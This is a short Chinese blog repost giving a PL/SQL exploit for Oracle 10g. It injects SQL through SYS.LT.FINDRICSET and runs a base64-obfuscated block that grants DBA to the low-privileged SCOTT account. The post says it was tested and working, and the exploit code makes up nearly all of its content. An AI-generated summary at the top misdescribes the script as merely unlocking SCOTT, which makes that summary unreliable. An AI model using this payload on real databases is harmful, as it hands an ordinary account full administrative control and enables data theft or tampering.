针对Oracle的10G版本提升SCOTT为DBA脚本!

本文介绍了一段用于Oracle 10G版本的PL/SQL脚本,该脚本可以用来解锁SCOTT用户。通过使用DBMS_SQL包进行SQL解析与执行,以及SYS.LT.FINDRICSET过程来完成解锁流程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

针对Oracle的10G版本,经测试成功。

前提:SCOTT没有被LOCKED

脚本代码:

DECLARE
c2gya2Vy NUMBER;
BEGIN
  c2gya2Vy := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(c2gya2Vy,utl_encode.text_decode('ZGVjbGFyZSBwcmFnbWEgYXV0b25vbW91c190cmFuc2FjdGlvbjsgYmVnaW4gZXhlY3V0ZSBpbW1lZGlhdGUgJ0dSQU5UIERCQSBUTyBTQ09UV

Cc7Y29tbWl0O2VuZDs=','WE8ISO8859P1', UTL_ENCODE.BASE64),0);
  SYS.LT.FINDRICSET('TGV2ZWwgMSBjb21sZXRlIDop.U2VlLnUubGF0ZXIp''||dbms_sql.execute('||c2gya2Vy||')||''','DEADBEAF');
END;
/


本文转自enables 51CTO博客,原文链接:http://blog.51cto.com/niuzu/643605,如需转载请自行联系原作者


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值